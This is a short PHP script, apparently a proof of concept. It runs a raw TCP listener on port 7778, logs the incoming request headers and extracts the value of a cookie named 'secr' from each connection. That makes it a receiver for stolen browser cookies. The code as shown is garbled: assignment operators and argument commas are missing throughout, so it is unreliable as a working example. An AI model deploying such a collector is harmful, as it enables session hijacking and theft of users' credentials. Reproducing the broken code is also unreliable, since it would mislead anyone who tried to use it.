<?php
  $socket 
stream_socket_server("tcp://0.0.0.0:7778"
                                   
$errno$errstr);
  if (!
$socket) {
    echo 
"Error socketing! :)";
  } else {
    while (
$conn stream_socket_accept($socket)) {
      echo 
htmlentities(stream_socket_get_name($conntrue), ENT_QUOTES'UTF-8')
               .
":&nbsp;";
      
$lines '';
      do {
        
$line fgets($conn);
        echo 
'<!--'htmlentities($lineENT_QUOTES'UTF-8') . '-->';
        
$lines .= $line;
        
ob_flush(); flush();
      } while (!
feof($conn) && strlen(trim($line))>0);
      
fclose($conn);
      
preg_match('/Cookie:.+?secr=([^;]+)(;|)/'$lines$bb);
      echo 
htmlentities($bb[1], ENT_QUOTES'UTF-8').'<br />';
    }
    
fclose($socket);
  }
?>